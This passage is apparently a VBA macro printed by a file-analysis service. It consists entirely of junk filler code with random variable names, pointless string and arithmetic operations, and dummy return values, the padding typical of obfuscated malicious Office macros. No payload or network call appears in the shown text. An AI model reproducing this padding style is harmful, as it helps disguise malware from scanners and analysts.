    dczpFwMkKYa = 1878 + 1892 + 1347
    For vFFJjf = 0 To 7
        vaXLxAhB = UCase("blwL^(a&yJv?Onfjyp")
        KYDvt = RTrim("K.zmv)eT@VmTlze")
        FZDkljo = UCase("$WNzbhZH-DLwe&(KC")
        vaXLxAhB = "bcJ^^qBnYv%h.u[Z" + "TBqcGRaZm-Q[WiW" + "kX@zoi!kHh"
        lgPRkUW = 1650 + 933 + 1060
        JmcQixCc = Space(3)
        FZDkljo = UCase("uqO^NYuFeUJ!")
        JmcQixCc = StrReverse("Nyjh[mc(OiCjV#Myavp")
    Next vFFJjf

    brRjb = "@)p]#u# ZI" + "Nr![YyONeA%vXK._" + "Miq??%^DStSxoVXo"
    JmcQixCc = LTrim("yMHUPy.mTEjL.Ts$qk")
    KYDvt = UCase("VP#$sbd&xj")
    EQzQe = 459 - 1363 - 827
    brRjb = LTrim("XMojqwKweXtNu.")
    lgPRkUW = ".^-acdqJhefm" + "K%Y%[)w@@HXKB" + "xRNOgJyquCKo_yr"
    FZDkljo = Space(3)
    jNuyDHOZJSF = LTrim("apy[edN(JVHK&")
    EQzQe = 1903 + 1831 + 1031
    dczpFwMkKYa = Left(".htgVQBh^CRkwh&I", 4)
    For SjFkPn = 0 To 1
        While AAHpvZ < 2
            EQzQe = "_x^nvAPpx)RQq" + "pAdyyS.UqDioEv_st#Ne" + ".kw?M%!#LVhpTaNJWgOA"
            brRjb = Left("$kdVJlhsv XULW", 3)
            SOyIW = 1908 - 1889 - 1329
            lgPRkUW = StrReverse("Wko)gCY@ClhAiMW")
            AAHpvZ = AAHpvZ + 2
        Wend

        HtkXkw = Space(11)
        trBGiYXTr = StrReverse("PQQCfO&rbg]W]gKE")
        JmcQixCc = Space(11)
        brRjb = StrReverse("qkkuCFE]_nPyJn_")
        SOyIW = "-jsi$V_m@yK--t#." + "rY!ybXrXmnX^" + "uaO!XgQs*inuAb"
        ETnLsWVqdpWE = 1005 - 229 - 1948
        jNuyDHOZJSF = 163 - 1507 - 491
    Next SjFkPn

    ETnLsWVqdpWE = StrReverse("[b DQtH-DsBtO")
    vOyduuCKbS = Right("ix]EV& dC]JQAtIH_N%", 4)
    vOyduuCKbS = RTrim("VjFY!w[@GQpoRa")
    EQzQe = RTrim("@e.M_KE BRbk@d[pJAC")
    EQzQe = StrReverse("lsA#ncSK-x Igki^")
    vOyduuCKbS = Space(3)
    JmcQixCc = Left("Kmg *t_VgaC", 3)
    EQzQe = LTrim("(ocPChXjs)gUCDad")
    SOyIW = Right("bWIYqI)( F?tEeqSXv", 5)
    brRjb = UCase("G)RAHwkBCEQYjp-Gcd")
    tSgkmMoj = Right("^JSltnG xYaK#]LGHtt", 3)
End Sub

Private Function aHhYEw(dCDrWXc As Double, nOapksN As Boolean, dtsTsM As String) As String
    brRjb = StrReverse("x!I@M?#_UNLV")
    KYDvt = "JsNAugAoq!O_-&FDVfWj" + "YXa)Emv vBQE)]r" + "VouyItdTqh%&dmkg@"
    vOyduuCKbS = RTrim("DGuMn[@[-X#iovSi((Bv")
    lgPRkUW = Left("gasv?c(sWsFu^qVgI", 5)
    vOyduuCKbS = RTrim("UrQfwlWZ-wJe.SoJpz")
    KYDvt = StrReverse("bFiFqI]H$z&Vj* dO")
    trBGiYXTr = StrReverse("WseXd(CytaK")
    lgPRkUW = "DiNNH@By(q?ZsTjvG" + "Gc.w@& Cuu$fvri" + "j)XV]Nf$iegJ"
    ETnLsWVqdpWE = RTrim("Woehc)RPNfR[Ch")
    SOyIW = 1564 - 789 - 429
    lgPRkUW = LTrim("pNICD!UYnjl")
    KYDvt = StrReverse("PoqZac%dB_ifMu$@L")
    SOyIW = StrReverse("AFU#YWN$HHA.PyhLd")
    HtkXkw = RTrim("HFlLGVDxgGJxfBy-fyH")
    HtkXkw = "wwYrjOVBV.i^ksLS" + "o(A[S%pDHTPaL" + "JNyTiPmuCOpkvcHbzul"
    brRjb = "MH-RoEr[suzk iI" + "an[vdgtYKHAk" + "^#o]zAG^LLz$&"
    While lxrNHY < 3
        KYDvt = StrReverse("[ENzjx@DdVRgjyNF]h?N")
        JmcQixCc = Left("As*jFX*%!CVIvriOtuc", 5)
        dczpFwMkKYa = 1458 - 126 - 1732
        trBGiYXTr = 260 - 1707 - 953
        brRjb = Space(6)
        jNuyDHOZJSF = "uisZP!GurM.@X" + "Voz%e.lApRLglggEsJ" + "(yz!XElFImqu"
        brRjb = 1009 + 1293 + 516
        lxrNHY = lxrNHY + 3
    Wend

    FZDkljo = 613 + 1718 + 925
    JmcQixCc = 1568 + 652 + 1617
    vaXLxAhB = Left("!eEkQ!jIMQgsPN(%", 2)
    brRjb = Space(3)
    SOyIW = UCase("D!#QZ(MN&TpPGfINP")
    lgPRkUW = Space(13)
    For iofRic = 0 To 5
        vaXLxAhB = 178 + 1018 + 208
        EQzQe = LTrim("U?hujr]CyBKvg@n.G)B")
        trBGiYXTr = UCase("gs?C_degLC_mlgy")
        dczpFwMkKYa = UCase("($FE KPr)sIprgATZ")
        brRjb = StrReverse("&W^?vci-T&YjkQtN-a")
        lgPRkUW = "q]#*%dqJOmq@" + "_^D]U*]QhB.wb" + "IbgjlafqzTFc rgMe"
        tSgkmMoj = "JoOoeC!skBY.zy" + "tW!?-RG.$pB*" + "M(H&ZonWKpY."
    Next iofRic

    JmcQixCc = 1951 + 1497 + 1275
    trBGiYXTr = RTrim("iv wvnQIN*&FYfan(Q")
    aHhYEw = "SGgxWRYIfQoftllVoCYtKmrFlK"
End Function

Private Function fFdsFG(aTzliDJ As Boolean, ZGoTGNS As Boolean, pWvCCDX As Integer, aNZAlD As Integer, TMcejnz As Boolean) As String
    ETnLsWVqdpWE = StrReverse("PjJkIp[ACxsT_")
    ETnLsWVqdpWE = 885 - 893 - 1177
    ETnLsWVqdpWE = 1778 + 137 + 1212
    vaXLxAhB = 424 + 1578 + 1122
    dczpFwMkKYa = StrReverse("wU(cucKiVu")
    KYDvt = Left("OhutY*kCwBcH*dCb*-", 3)
    brRjb = Right("$lGK@A z#UUNwXF!hu", 2)
    lgPRkUW = UCase("jE]TzKq$a.[F")
    While xKqrlm < 2
        For fonnND = 0 To 6
            jNuyDHOZJSF = 1047 + 1132 + 1795
            FZDkljo = Space(8)
            HtkXkw = 1434 - 1339 - 1976
            KYDvt = StrReverse(".GBktZwys]")
            FZDkljo = Right("WYa)?V$eWgh", 5)
            JmcQixCc = Space(6)
            tSgkmMoj = Space(15)
            vaXLxAhB = StrReverse("%AgnjgTF.QVE")
            trBGiYXTr = Left("blp#JOh pIAH[B", 2)
        Next fonnND

        brRjb = "Wy#fR.wS)AIG][iiuJJ" + "QS.S$p**-(@" + "oz?snV#aeStFq"
        ETnLsWVqdpWE = 1805 + 655 + 158
        vaXLxAhB = Space(20)
        xKqrlm = xKqrlm + 1
    Wend

    trBGiYXTr = "FbmD#zx#!kkiV.mwq^y" + "lxreeqlSsYJu)aKgx[" + "GZkdpYtW(oAmPjCtewpY"
    tSgkmMoj = 1482 - 1097 - 1427
    trBGiYXTr = Left("-dRuVdW?V@up", 4)
    EQzQe = Space(4)
    brRjb = 1285 + 969 + 1060
    vOyduuCKbS = UCase("UBbvpQLc!iA-&DZ")
    JmcQixCc = RTrim("Sz- AKOd-xzlcH")
    While PXnFun < 5
        ETnLsWVqdpWE = StrReverse("eU-Ml!FoLpvsZF")
        vOyduuCKbS = LTrim("Ewy@fzhqyuhpZ[R")
        jNuyDHOZJSF = " xhkMsWPa@!^Wv" + "M)kHpDx@BU" + "WJTllHFnwfC"
        lgPRkUW = Right("cUdWv%D!$bTAokz@yu$I", 4)
        dczpFwMkKYa = RTrim("aGsVNTc wb)tugZGDS")
        PXnFun = PXnFun + 1
    Wend

    vaXLxAhB = 418 + 772 + 711
    vOyduuCKbS = LTrim("[yLPZ[%.fYbKaFUJou")
    KYDvt = LTrim("Nj]qeRWJrLa")
    vaXLxAhB = "fjJB!oXwFY(Y" + "G RvIC@sHjxnq" + "l*AdM#NNI$nNj&j"
    dczpFwMkKYa = Space(5)
    For NGynHq = 0 To 1
        For wbqwCX = 0 To 10
            HtkXkw = UCase("*]Qu]iWDxuugxJSPF")
            FZDkljo = Left("P RI$f!VXXdQD$&SM", 2)
            vaXLxAhB = "EgEC?F$_oE*U" + "UGPhNrqiSwFfMgsLHOD" + "FyZI.m]d#a "
            brRjb = 867 - 1974 - 483
            trBGiYXTr = RTrim("&&#sX$O^ueXJa")
            SOyIW = "O%CXEKMrcA!a-FbBC]" + "CQyUsgxrsCA^UAvkp%?v" + "tK-WQwlW*Y*L"
        Next wbqwCX

        SOyIW = StrReverse(")ASZ-t)%dDAW!PY")
        vaXLxAhB = "%zhpH()HXjP" + "OoOm^!qexhKR[j%ic" + "A-LAhkYLm*vK"
        vaXLxAhB = RTrim("f&h-YqPD.AJ!iPOAlAT")
        jNuyDHOZJSF = StrReverse("y&bLY^]V[^")
        ETnLsWVqdpWE = Space(12)
    Next NGynHq

    JmcQixCc = Space(16)
    SOyIW = "hapbrK&#u]esLlNTCW" + "hUGH?NwfTo&TEtCEgg" + "#S&Fj&#%ZGsP$e)BBw"
    For qbQABc = 0 To 5
        FZDkljo = Left("w]#-zW$rgCbyp", 5)
        trBGiYXTr = Left("TI)EyW_xgIEi", 2)
        vaXLxAhB = StrReverse("Fu]N?^D.ZcsE")
        vOyduuCKbS = "mt(R_YAzeCm" + "!mbj&anE%ZP[Wg]" + "IBkLG lq_TIXfDw"
        EQzQe = 1102 - 226 - 1524
        trBGiYXTr = LTrim("AL$viyDIOeZYdzG")
        SOyIW = Left("#iZ%EQ]ZdL$-)", 5)
    Next qbQABc

    KYDvt = 560 - 760 - 1484
    tSgkmMoj = Right("MM#NBac-[re_$y", 4)
    JmcQixCc = UCase("kg)VJ%Z.*B]f-NN%")
    vaXLxAhB = LTrim("hBoQc[.V$ AnkEu")
    KYDvt = 1914 - 501 - 585
    vaXLxAhB = 276 + 916 + 895
    KYDvt = Space(20)
    jNuyDHOZJSF = 1569 + 1867 + 385
    fFdsFG = "tmZPIMieOIWeZGRtXTpXDorQSddPCHYFTa"
End Function

Private Sub PSmSPk(dcAFkQ As Double, xTVbEo As Boolean)
    SOyIW = StrReverse(")%*FElAkwhANi")
    HtkXkw = 1098 - 1822 - 134
    SOyIW = Left("_[#yIO?_U@WsN(LnHT", 5)
    vOyduuCKbS = StrReverse("rc#D-^cE?)DWyt")
    jNuyDHOZJSF = Left("^RWvpe(AR!F.Y$H#(z", 5)
    JmcQixCc = 1744 - 708 - 810
    ETnLsWVqdpWE = LTrim("O^!qjv(mIUqeXtu")
    JmcQixCc = 1445 - 340 - 956
    HtkXkw = UCase("ALjK@)kNUu%n")
    vaXLxAhB = RTrim("eJaNw.-lc(#&aFLuZ[JG")
    JmcQixCc = LTrim("AnruQP W*DnLI")
    tSgkmMoj = "x?TqwSTOI $rhYfpCxGq" + "Y-y!EepKVuuACgSeW-l!" + "eN(!ZlHBqn"
    jNuyDHOZJSF = Left("yhikkS!VAMSJgT", 4)
    HtkXkw = Right("ScSqqYytliG_jltv", 5)
    jNuyDHOZJSF = Right("B%%EzDjGKn", 2)
    HtkXkw = RTrim("Mk]CXEATe*d_-C(]")
    ETnLsWVqdpWE = UCase("eR?Q]oAjDvNgxTML")
    jNuyDHOZJSF = Left("tswxx@VWWjq##X&?ua", 3)
    EQzQe = 361 + 1299 + 399
    brRjb = "&HeBkkW$pBjKi?Hx-xFA" + "G(xi]LknkNvdLZhULwlr" + "Rf.TmI*DAaS"
End Sub

Private Sub ukyKXf(oTYJmh As Integer, EUKEDj As String)
    brRjb = Left("QrboERz*w@Q$zow_ipx", 3)
    tSgkmMoj = UCase("?^(o*DXEq$M")
    brRjb = StrReverse("LBC-ftPEUTn$")
    KYDvt = UCase("Pf%GPSyLxIORlDE")
    SOyIW = 717 + 339 + 148
    jNuyDHOZJSF = RTrim("$.J%i]!*uoRYxCaBxQaY")
    FZDkljo = StrReverse("RrTQ^kj$$vhG@]TJp^")
    While AMsQVY < 5
        While rOYyIw < 3
            dczpFwMkKYa = UCase("mLoYzkQJLjRQikAKDyut")
            FZDkljo = Right("_M@hybL_)_*", 2)
            ETnLsWVqdpWE = Right("bBdnZy%ZWZ[TAj- oH", 3)
            vOyduuCKbS = 816 + 1381 + 1766
            rOYyIw = rOYyIw + 1
        Wend

        ETnLsWVqdpWE = 1561 - 1351 - 1959
        trBGiYXTr = StrReverse("PLoIJV)*Y]n(BeGc")
        vaXLxAhB = 1651 + 1726 + 1035
        trBGiYXTr = ".x^MYMC^Jo[OPTc" + "[of]dmvKIC-_uiH" + "bzqadT#Y(o?ufJ"
        AMsQVY = AMsQVY + 2
    Wend

    lgPRkUW = 617 + 894 + 1239
    For zBhhvU = 0 To 5
        SOyIW = Left(")Qf&#uMVlCUcE", 4)
        SOyIW = Space(19)
        HtkXkw = Space(8)
        vaXLxAhB = 702 + 587 + 1972
        EQzQe = "DsH.T% -zYH!" + "PUebTAD]Ffj(hV!*uIR#" + "#C$%YVOhIPjRj"
        trBGiYXTr = UCase("u Z ]MQTJq")
        vaXLxAhB = UCase("JUrk@LryzFgbR")
        lgPRkUW = Right("zt[Cm@MgRH", 4)
        JmcQixCc = 1920 - 1010 - 503
        EQzQe = Space(3)
    Next zBhhvU

    vOyduuCKbS = LTrim("pXc(mgAwKlZ&")
    lgPRkUW = Right("g@nQ*sc[fKNsENBVM[ob", 3)
    For asvxKC = 0 To 2
        While bhJFHR < 5
            HtkXkw = "wexinYD^.&-C[T!AEbSJ" + " JV$$rD[ScnN[n&X" + "um&Ddj.YJUnu?wTJVolf"
            vaXLxAhB = Left("iN$fP)#UZNuUkqOfw", 3)
            KYDvt = Left("VO?z.EcQm &BkHed%p])", 2)
            KYDvt = Space(4)
            vOyduuCKbS = RTrim("weM b$ &kWH")
            bhJFHR = bhJFHR + 3
        Wend

        ETnLsWVqdpWE = Left("]iuBqc-cyCsU_H[", 2)
        trBGiYXTr = Right(" QjFzJUCLeFY", 5)
        vOyduuCKbS = Left("ScYs]LsA_MNxnfi", 4)
        tSgkmMoj = LTrim("#_^PWxVTyEl!il$")
        ETnLsWVqdpWE = UCase("GWK^?n$iu$pwQ")
        KYDvt = 1475 + 1491 + 1085
        FZDkljo = 597 + 1265 + 1676
        vOyduuCKbS = 1758 - 309 - 1867
        lgPRkUW = 1867 - 563 - 1950
    Next asvxKC

    trBGiYXTr = 149 - 461 - 383
    vaXLxAhB = Right("#u*v(nUZ^[h", 2)
    vOyduuCKbS = RTrim("Y-yFp@Cw[pKYs")
    While UlAOvn < 1
        tSgkmMoj = 1637 - 375 - 320
        JmcQixCc = Space(18)
        jNuyDHOZJSF = Right(".cGy_[LPFueX?E", 2)
        tSgkmMoj = 831 - 423 - 1849
        KYDvt = Space(17)
        UlAOvn = UlAOvn + 3
    Wend

    EQzQe = StrReverse("]Uv$Prbf^B.a&Ob^zt!")
    tSgkmMoj = Space(11)
    For ULceuT = 0 To 7
        vaXLxAhB = UCase("FMhAkmzNqKOrgziHZ#@c")
        ETnLsWVqdpWE = RTrim("w)?@^lyojtphLENnI")
        vaXLxAhB = 1089 - 1024 - 196
        KYDvt = LTrim("uxt)?nP KJ")
        jNuyDHOZJSF = StrReverse("!O(ilYz-zZBp^.g")
        trBGiYXTr = Left("Jt#?  aHdZ]MF(", 2)
        SOyIW = LTrim(".sp-dLDo(lm-ie")
        dczpFwMkKYa = Right("j&HbAS)ScYo)$YPUlv$l", 5)
        KYDvt = 1035 + 1196 + 628
    Next ULceuT

    dczpFwMkKYa = Right("c-$tT$fMr^po-rvz", 3)
    jNuyDHOZJSF = LTrim("EpEUBhQclDudDLm")
    EQzQe = UCase("j!!Q-cjwFU")
    jNuyDHOZJSF = 1536 - 155 - 379
    trBGiYXTr = 1410 + 465 + 1170
    brRjb = UCase("yiJ(HSHBJ]]")
    tSgkmMoj = 1597 + 1134 + 917
    vaXLxAhB = StrReverse("g!ekQ%W]#RJQSZcht")
    dczpFwMkKYa = Space(8)
    tSgkmMoj = 1602 + 802 + 1678
    EQzQe = LTrim("jUfZQZBIN]ThcDr")
    tSgkmMoj = "XIN*CMb-V@uEM)?#bX" + "R$GKtJZTzkUi" + "_Zq&S^BrDI*hp"
End Sub

Private Function FVHUbx(zJgniTu As String, rOplUzQ As Boolean, SNVSIxZ As Double, gfpciXN As Boolean) As String
    ETnLsWVqdpWE = Space(11)
    lgPRkUW = "d)?)qXP]$Tr*k_zaC*" + "a#XO%ugNyH" + "Sev]gSbcwWBjAAmTRz "
    KYDvt = UCase("S&lVPfTYZ[@xiK$#s)")
    JmcQixCc = Right("rOr$Qemg.D-&wdYL]%-L", 2)
    For AKCIRX = 0 To 10
        JmcQixCc = RTrim("@Z)aPcXipnse")
        vaXLxAhB = Right("j?_eEucU*jCj&Efs^", 5)
    Next AKCIRX

    KYDvt = StrReverse("w*BDE^^]]sR@z%JckYB")
    For PBYsJX = 0 To 10
        ETnLsWVqdpWE = "xXPaEXvxsvI" + "F&OL?rynycnU%GMESRaS" + "_uGNBQLJHx]D(gd*^Q a"
        KYDvt = 1318 + 1188 + 638
        lgPRkUW = 1324 - 578 - 729
        tSgkmMoj = "pC! FkVZFmxj#QZTh)" + "JfTSPrwuYM%" + " M_NOUfMVfa"
        jNuyDHOZJSF = Right("A)BduhbVqTYLL-^%$V", 4)
    Next PBYsJX

    SOyIW = Space(20)
    jNuyDHOZJSF = UCase("OzZ_sw&WalvvR-VEa!")
    dczpFwMkKYa = 619 - 389 - 1652
    SOyIW = "&$sdKfGcVwGdC" + "i&KzTEC]i!!OKD" + "d -Pdnjd!F(zf"
    FZDkljo = Left("ii_uz#( V*e]A#xm)D_", 4)
    EQzQe = UCase("]uZP(k&uNIpw")
    tSgkmMoj = Space(9)
    jNuyDHOZJSF = Space(12)
    trBGiYXTr = 907 - 1412 - 478
    HtkXkw = 1200 + 920 + 1086
    brRjb = ")vcn)u)gDwh" + "JD)v_#HWtas?#r" + "-]wHiYPqsT(za(wm!qR"
    FZDkljo = Right("s@PfJ)b)&r hU", 5)
    FZDkljo = 153 - 138 - 1473
    FZDkljo = Right("R_jR ]TLorR.Dko*MV", 5)
    trBGiYXTr = LTrim("yjhlj-YzQqPVS)C$o")
    vaXLxAhB = Left("(r&P hBsQ([?yP[^DkD", 4)
    JmcQixCc = Left("Ygt_ gRjNQkYD^*G", 3)
    EQzQe = Right("(WsbAIzP?_uxH", 2)
    HtkXkw = Left("vaA^QpZZ!NLn%iy!", 4)
    brRjb = StrReverse("r[-WJM%r mDNSNOg")
    lgPRkUW = Space(5)
    trBGiYXTr = StrReverse("*RUDpg$RcQQlUX")
    FVHUbx = "EyqNgRcUYwbhPfDknXsUBqwRhXtVK"
End Function

Private Sub mCJNtM(Zemsrh As Double, jkkIRI As Integer)
    brRjb = UCase("Au.QvDkauma")
    dczpFwMkKYa = Left("z^$rRC*xFc]p", 5)
    trBGiYXTr = 1871 + 765 + 938
    tSgkmMoj = StrReverse("g)y($pRcmJD*HrtlTQ*p")
    KYDvt = "Z)QRvcFx$bnEaVODU" + "F@plbR_zoM" + "nG(tz-gHgQR"
    lgPRkUW = Right("nmFsFsS*ry q", 5)
    JmcQixCc = 810 - 1478 - 1997
    brRjb = StrReverse("H]_gVWvyCQu")
    JmcQixCc = Space(4)
    lgPRkUW = UCase("zST Wcl]pdN M")
    lgPRkUW = ")g pnKNVhd" + "q$uvZI]iQQZil&" + "nxY?feK%rY-PsHK]!"
    jNuyDHOZJSF = StrReverse("Autc$FDRGV_X*%XvG")
    SOyIW = UCase("I WjkJBh@yuB WwZlEv)")
    FZDkljo = Right("WcKYN&?bYGUn)zaj!", 4)
    vaXLxAhB = RTrim("pkj)d@NLy.-K ")
    HtkXkw = StrReverse("@dj]UMYhw[pLRqt")
    EQzQe = StrReverse("-U@(PqxD B!Gh!cgA!f")
    SOyIW = Space(7)
    vaXLxAhB = RTrim("jUCG)tpntT?GW*JxM&$")
    vOyduuCKbS = 992 - 641 - 621
    dczpFwMkKYa = "QYbZqQcQVq" + "xP^Ll%N%$$).a]" + "ZRGQzF(V$)DCwkz"
    FZDkljo = Space(7)
    brRjb = Left("HQDJxrTk @ydNPxI$.", 4)
    vOyduuCKbS = RTrim("KqviH%TR%anut(l!c*")
    SOyIW = LTrim("zF#g@IKyYVVL-")
    jNuyDHOZJSF = 1806 - 1403 - 285
    vaXLxAhB = "iQU^LVMvru" + "dBM)@c.gGYZLAO" + "aFKHTCcUPnoo?yBGVfl"
    While kDgEIK < 2
        For qnuMGG = 0 To 10
            dczpFwMkKYa = LTrim("c]?)%VYF$!]wdgr$P")
            brRjb = Right("!jxahe$RxO&U", 2)
        Next qnuMGG

        dczpFwMkKYa = "PVL^&OQrwkMMSb]U" + "Cm#^*NQ@$J]r" + "QE*$TpjTjDD[duJ[.nN*"
        jNuyDHOZJSF = LTrim("AJ AT!v*ja!(Jwu")
        tSgkmMoj = Space(8)
        EQzQe = RTrim("k_f@CfNzE)?^R")
        JmcQixCc = StrReverse("tns@EkR?&h.J[Frphc")
        kDgEIK = kDgEIK + 2
    Wend

    trBGiYXTr = RTrim("Db-[cfSSBwwevM")
    dczpFwMkKYa = 619 - 765 - 1458
    For iFaOqr = 0 To 5
        While dUoxIp < 5
            ETnLsWVqdpWE = RTrim("eU_bqjlAXjEwXvclS(Y")
            tSgkmMoj = Left("s^gJs.US?in)", 2)
            FZDkljo = RTrim("s&Dy]g(l miTRsAcXRz")
            FZDkljo = Left("#qQtUYbWYsVU", 5)
            trBGiYXTr = 1080 - 1642 - 537
            EQzQe = StrReverse("FCPN!Jq.RX")
            FZDkljo = "hrz$IdKh_Td k" + "EM.GYm#(V).CmW" + "SiC#eplzGmsBC$xRH!"
            jNuyDHOZJSF = Space(13)
            EQzQe = 784 - 327 - 977
            dUoxIp = dUoxIp + 3
        Wend

        KYDvt = Left("%cQ^lWdVXWb R-u)[wz", 5)
        brRjb = RTrim("Klp)fwkWvfYG")
    Next iFaOqr

    ETnLsWVqdpWE = LTrim("Bpr%PrgukpT^%zSLRETt")
    jNuyDHOZJSF = RTrim("iXdv)I NQI zcOsAxYcr")
End Sub

Private Function whudOu(UYnzntO As String) As String
    tSgkmMoj = 239 + 690 + 1611
    jNuyDHOZJSF = Left(" Wn)@imDK*JT", 3)
    trBGiYXTr = 219 - 1883 - 1544
    JmcQixCc = StrReverse("*^ BiGpyIa%F&")
    lgPRkUW = Space(3)
    ETnLsWVqdpWE = Right("H^]e%Tgi IvyfxepW.", 5)
    jNuyDHOZJSF = 1660 - 1787 - 133
    KYDvt = StrReverse("CDTNHQB IyMjsw%Q&_b")
    KYDvt = LTrim("PHsDv.C^jd&")
    vaXLxAhB = LTrim("$EHN@n IuLsciKdHxm i")
    jNuyDHOZJSF = 986 + 1071 + 675
    ETnLsWVqdpWE = Space(11)
    EQzQe = 519 + 155 + 1116
    dczpFwMkKYa = StrReverse(")C-Xp*wK)aLUs")
    brRjb = Left("(#io$kv%%j", 3)
    For Ukadlf = 0 To 9
        EQzQe = LTrim("zP?$IEZ)Hb*#kclMWK?")
        FZDkljo = 1317 - 1474 - 1404
        SOyIW = RTrim("?X%_.(rpdLM!eZGZxY")
        vOyduuCKbS = Left("rFWmlOUs(Lp!x&(", 3)
        lgPRkUW = 159 - 690 - 1249
        ETnLsWVqdpWE = UCase("GuHwEXols*C$")
        JmcQixCc = LTrim("CwQmI!?LbhMO")
        HtkXkw = 672 + 1606 + 280
        jNuyDHOZJSF = RTrim("GhAiR#BuR&tx!LLYv")
        SOyIW = Left("-WaO.[E W#", 5)
    Next Ukadlf

    jNuyDHOZJSF = "$*)RTID[j#uQaGTt" + "VsuEbSBlSu_dRVC[" + "fIchgf[(cn*yeQOT.I"
    JmcQixCc = 972 + 593 + 1215
    SOyIW = RTrim("nF&RRdME!f&jU%hIWa")
    FZDkljo = Space(13)
    While LrQkpH < 3
        For Wqpraq = 0 To 6
            brRjb = StrReverse("Y!Ccd[lGr!ngufxo@]K")
            dczpFwMkKYa = "dZKjBW VpWYg" + "@A?znsa?zO M(@sibb#!" + "rE[J.Hpo?u[v?Gwr"
            vaXLxAhB = Right("TB^rR-qC@yJZJh", 4)
            KYDvt = Left("gE-*G(VTOjBIK", 5)
            vOyduuCKbS = 177 + 1629 + 1927
        Next Wqpraq

        EQzQe = Left("iMC*rygdE)VlgPlwdi", 5)
        SOyIW = "iWZbCwQV!.J-BC]Pz" + "A[*y^JOpYze" + "!ij(xloAj#XK"
        brRjb = 385 + 531 + 440
        vaXLxAhB = Space(14)
        KYDvt = 266 - 391 - 1884
…

Open this report in the interactive analyzer, or submit your own file for analysis.